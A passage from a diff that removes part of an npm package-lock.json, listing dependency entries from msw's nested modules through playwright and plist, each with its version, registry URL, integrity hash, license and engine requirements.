"https://registry.npmjs.org/@open-draft/deferred-promise/-/deferred-promise-3.0.0.tgz", - "integrity": "sha512-XW375UK8/9SqUVNVa6M0yEy8+iTi4QN5VZ7aZuRFQmy76LRwI9wy5F4YIBU6T+eTe2/DNDo8tqu8RHlwLHM6RA==", - "dev": true, - "license": "MIT" - }, - "node_modules/msw/node_modules/cookie": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", - "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/express" - } - }, - "node_modules/msw/node_modules/path-to-regexp": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-6.3.0.tgz", - "integrity": "sha512-Yhpw4T9C6hPpgPeA28us07OJeqZ5EzQTkbfwuhsUg0c237RomFoETJgmp2sa3F/41gfLE6G5cqcYwznmeEeOlQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/mute-stream": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-3.0.0.tgz", - "integrity": "sha512-dkEJPVvun4FryqBmZ5KhDo0K9iDXAwn08tMLDinNdRBNPcYEDiWYysLcc6k3mjTMlbP9KyylvRpd4wFtwrT9rw==", - "dev": true, - "license": "ISC", - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/nanoid": { - "version": "3.3.12", - "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz", - "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "bin": { - "nanoid": "bin/nanoid.cjs" - }, - "engines": { - "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" - } - }, - "node_modules/napi-postinstall": { - "version": "0.3.4", - "resolved": "https://registry.npmjs.org/napi-postinstall/-/napi-postinstall-0.3.4.tgz", - "integrity": "sha512-PHI5f1O0EP5xJ9gQmFGMS6IZcrVvTjpXjz7Na41gTE7eE2hK11lg04CECCYEEjdc17EV4DO+fkGEtt7TpTaTiQ==", - "dev": true, - "license": "MIT", - "bin": { - "napi-postinstall": "lib/cli.js" - }, - "engines": { - "node": "^12.20.0 || ^14.18.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/napi-postinstall" - } - }, - "node_modules/natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", - "dev": true, - "license": "MIT" - }, - "node_modules/negotiator": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", - "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", - "license": "MIT", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/no-case": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", - "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", - "dev": true, - "license": "MIT", - "dependencies": { - "lower-case": "^2.0.2", - "tslib": "^2.0.3" - } - }, - "node_modules/node-abi": { - "version": "4.33.0", - "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-4.33.0.tgz", - "integrity": "sha512-vLBWCKb+7LWsX+TbfzWOkw0W81m377tyx3hOweBTjO43CXZnRGS1/JPWs20fr0PgZyDXk6ROYrylsEycK8raDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.6.3" - }, - "engines": { - "node": ">=22.12.0" - } - }, - "node_modules/node-addon-api": { - "version": "1.7.2", - "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-1.7.2.tgz", - "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg==", - "dev": true, - "license": "MIT", - "optional": true - }, - "node_modules/node-api-version": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/node-api-version/-/node-api-version-0.2.1.tgz", - "integrity": "sha512-2xP/IGGMmmSQpI1+O/k72jF/ykvZ89JeuKX3TLJAYPDVLUalrshrLHkeVcCCZqG/eEa635cr8IBYzgnDvM2O8Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "semver": "^7.3.5" - } - }, - "node_modules/node-exports-info": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/node-exports-info/-/node-exports-info-1.6.0.tgz", - "integrity": "sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==", - "dev": true, - "license": "MIT", - "dependencies": { - "array.prototype.flatmap": "^1.3.3", - "es-errors": "^1.3.0", - "object.entries": "^1.1.9", - "semver": "^6.3.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/node-exports-info/node_modules/semver": { - "version": "6.3.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", - "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - } - }, - "node_modules/node-gyp": { - "version": "12.4.0", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-12.4.0.tgz", - "integrity": "sha512-OMcPNvqTCFUnNaBlmdgq+lfNqY7gTiSmNRDjY3uAXRyudeKZEZxu3CLtjMQrx4zZxCX2b/mpNqTtwuCJgXhHkw==", - "dev": true, - "license": "MIT", - "dependencies": { - "env-paths": "^2.2.0", - "exponential-backoff": "^3.1.1", - "graceful-fs": "^4.2.6", - "nopt": "^9.0.0", - "proc-log": "^6.0.0", - "semver": "^7.3.5", - "tar": "^7.5.4", - "tinyglobby": "^0.2.12", - "undici": "^6.25.0", - "which": "^6.0.0" - }, - "bin": { - "node-gyp": "bin/node-gyp.js" - }, - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/node-gyp/node_modules/env-paths": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", - "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/node-gyp/node_modules/isexe": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-4.0.0.tgz", - "integrity": "sha512-FFUtZMpoZ8RqHS3XeXEmHWLA4thH+ZxCv2lOiPIn1Xc7CxrqhWzNSDzD+/chS/zbYezmiwWLdQC09JdQKmthOw==", - "dev": true, - "license": "BlueOak-1.0.0", - "engines": { - "node": ">=20" - } - }, - "node_modules/node-gyp/node_modules/undici": { - "version": "6.27.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.27.0.tgz", - "integrity": "sha512-YmfV3YnEDzXRC5lZ2jWtWWHKGUm1zIt8AhesR1tens+HTNv+YZlN/dp6G727LOvMJ8xjP9Be7Y2Sdr96LDm+pg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18.17" - } - }, - "node_modules/node-gyp/node_modules/which": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/which/-/which-6.0.1.tgz", - "integrity": "sha512-oGLe46MIrCRqX7ytPUf66EAYvdeMIZYn3WaocqqKZAxrBpkqHfL/qvTyJ/bTk5+AqHCjXmrv3CEWgy368zhRUg==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^4.0.0" - }, - "bin": { - "node-which": "bin/which.js" - }, - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/node-releases": { - "version": "2.0.47", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.47.tgz", - "integrity": "sha512-Uzmd6LXpouKo8EUK68IjH4+E01w/hXyV3R3g/geCJo+rXLNfh1xucB+LOzYEOQPSiUK3h/xZf0cQGcSsmyL2Og==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, - "node_modules/nopt": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-9.0.0.tgz", - "integrity": "sha512-Zhq3a+yFKrYwSBluL4H9XP3m3y5uvQkB/09CwDruCiRmR/UJYnn9W4R48ry0uGC70aeTPKLynBtscP9efFFcPw==", - "dev": true, - "license": "ISC", - "dependencies": { - "abbrev": "^4.0.0" - }, - "bin": { - "nopt": "bin/nopt.js" - }, - "engines": { - "node": "^20.17.0 || >=22.9.0" - } - }, - "node_modules/normalize-url": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", - "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/object-assign": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/object-hash": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", - "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/object-inspect": { - "version": "1.13.4", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/object-keys": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", - "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/object.assign": { - "version": "4.1.7", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz", - "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.3", - "define-properties": "^1.2.1", - "es-object-atoms": "^1.0.0", - "has-symbols": "^1.1.0", - "object-keys": "^1.1.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/object.entries": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.9.tgz", - "integrity": "sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.4", - "define-properties": "^1.2.1", - "es-object-atoms": "^1.1.1" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/object.fromentries": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.8.tgz", - "integrity": "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.7", - "define-properties": "^1.2.1", - "es-abstract": "^1.23.2", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/object.values": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.2.1.tgz", - "integrity": "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bind": "^1.0.8", - "call-bound": "^1.0.3", - "define-properties": "^1.2.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/obug": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.2.tgz", - "integrity": "sha512-AWGB9WFcRXOQs48Z/udjI5ZcZMHXwX8XPByNpOydgcGsDLIzjGizhoMWJyKAWze7AVW/2W1i+/gPX4YtKe5cyg==", - "dev": true, - "funding": [ - "https://github.com/sponsors/sxzz", - "https://opencollective.com/debug" - ], - "license": "MIT", - "engines": { - "node": ">=12.20.0" - } - }, - "node_modules/on-finished": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - "license": "MIT", - "dependencies": { - "ee-first": "1.1.1" - }, - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/on-headers": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.1.0.tgz", - "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "dev": true, - "license": "ISC", - "dependencies": { - "wrappy": "1" - } - }, - "node_modules/one-time": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/one-time/-/one-time-1.0.0.tgz", - "integrity": "sha512-5DXOiRKwuSEcQ/l0kGCF6Q3jcADFv5tSmRaJck/OqkVFcOzutB134KRSfF0xDrL39MNnqxbHBbUUcjZIhTgb2g==", - "license": "MIT", - "dependencies": { - "fn.name": "1.x.x" - } - }, - "node_modules/onetime": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", - "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "mimic-function": "^5.0.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/optionator": { - "version": "0.9.4", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", - "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", - "dev": true, - "license": "MIT", - "dependencies": { - "deep-is": "^0.1.3", - "fast-levenshtein": "^2.0.6", - "levn": "^0.4.1", - "prelude-ls": "^1.2.1", - "type-check": "^0.4.0", - "word-wrap": "^1.2.5" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/outvariant": { - "version": "1.4.3", - "resolved": "https://registry.npmjs.org/outvariant/-/outvariant-1.4.3.tgz", - "integrity": "sha512-+Sl2UErvtsoajRDKCE5/dBz4DIvHXQQnAxtQTF04OJxY0+DyZXSo5P5Bb7XYWOh81syohlYL24hbDwxedPUJCA==", - "dev": true, - "license": "MIT" - }, - "node_modules/own-keys": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", - "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", - "dev": true, - "license": "MIT", - "dependencies": { - "get-intrinsic": "^1.2.6", - "object-keys": "^1.1.1", - "safe-push-apply": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/p-cancelable": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", - "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/p-limit": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", - "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "yocto-queue": "^0.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-locate": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", - "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", - "dev": true, - "license": "MIT", - "dependencies": { - "p-limit": "^3.0.2" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/p-map": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/p-map/-/p-map-7.0.4.tgz", - "integrity": "sha512-tkAQEw8ysMzmkhgw8k+1U/iPhWNhykKnSk4Rd5zLoPJCuJaGRPo6YposrZgaxHKzDHdDWWZvE/Sk7hsL2X/CpQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "license": "MIT", - "dependencies": { - "callsites": "^3.0.0" - }, - "engines": { - "node": ">=6" - } - }, - "node_modules/parse-entities": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-4.0.2.tgz", - "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", - "license": "MIT", - "dependencies": { - "@types/unist": "^2.0.0", - "character-entities-legacy": "^3.0.0", - "character-reference-invalid": "^2.0.0", - "decode-named-character-reference": "^1.0.0", - "is-alphanumerical": "^2.0.0", - "is-decimal": "^2.0.0", - "is-hexadecimal": "^2.0.0" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/parse-entities/node_modules/@types/unist": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", - "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", - "license": "MIT" - }, - "node_modules/parse-json": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", - "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.0.0", - "error-ex": "^1.3.1", - "json-parse-even-better-errors": "^2.3.0", - "lines-and-columns": "^1.1.6" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/parse5": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz", - "integrity": "sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==", - "dev": true, - "license": "MIT", - "dependencies": { - "entities": "^8.0.0" - }, - "funding": { - "url": "https://github.com/inikulin/parse5?sponsor=1" - } - }, - "node_modules/parseurl": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/path-browserify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-1.0.1.tgz", - "integrity": "sha512-b7uo2UCUOYZcnF/3ID0lulOJi/bafxa1xPe7ZPsammBSpjSWQkjNxlt635YGS2MiR9GjvuXCtz2emr3jbsz98g==", - "dev": true, - "license": "MIT" - }, - "node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/path-parse": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", - "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", - "dev": true, - "license": "MIT" - }, - "node_modules/path-to-regexp": { - "version": "0.1.13", - "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.13.tgz", - "integrity": "sha512-A/AGNMFN3c8bOlvV9RreMdrv7jsmF9XIfDeCd87+I8RNg6s78BhJxMu69NEMHBSJFxKidViTEdruRwEk/WIKqA==", - "license": "MIT" - }, - "node_modules/path-type": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", - "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/pathe": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz", - "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/pe-library": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/pe-library/-/pe-library-0.4.1.tgz", - "integrity": "sha512-eRWB5LBz7PpDu4PUlwT0PhnQfTQJlDDdPa35urV4Osrm0t0AqQFGn+UIkU3klZvwJ8KPO3VbBFsXquA6p6kqZw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12", - "npm": ">=6" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/jet2jet" - } - }, - "node_modules/pend": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", - "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", - "dev": true, - "license": "MIT" - }, - "node_modules/picocolors": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", - "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", - "license": "ISC" - }, - "node_modules/picomatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", - "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/pkg-types": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/pkg-types/-/pkg-types-2.3.1.tgz", - "integrity": "sha512-y+ichcgc2LrADuhLNAx8DFjVfgz91pRxfZdI3UDhxHvcVEZsenLO+7XaU5vOp0u/7V/wZ+plyuQxtrDlZJ+yeg==", - "dev": true, - "license": "MIT", - "dependencies": { - "confbox": "^0.2.4", - "exsolve": "^1.0.8", - "pathe": "^2.0.3" - } - }, - "node_modules/pkg-types/node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/playwright": { - "version": "1.59.1", - "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.59.1.tgz", - "integrity": "sha512-C8oWjPR3F81yljW9o5OxcWzfh6avkVwDD2VYdwIGqTkl+OGFISgypqzfu7dOe4QNLL2aqcWBmI3PMtLIK233lw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "playwright-core": "1.59.1" - }, - "bin": { - "playwright": "cli.js" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "fsevents": "2.3.2" - } - }, - "node_modules/playwright-core": { - "version": "1.59.1", - "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.59.1.tgz", - "integrity": "sha512-HBV/RJg81z5BiiZ9yPzIiClYV/QMsDCKUyogwH9p3MCP6IYjUFu/MActgYAvK0oWyV9NlwM3GLBjADyWgydVyg==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "playwright-core": "cli.js" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/plist": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/plist/-/plist-3.1.0.tgz", - "integrity": "sha512-uysumyrvkUX0rX/dEVqt8gC3sTBzd4zoWfLeS29nb53imdaXVvLINYXTI2GNqzaMuvacNx4uJQ8+b3zXR0pkgQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@xmldom/xmldom": "^0.8.8", - 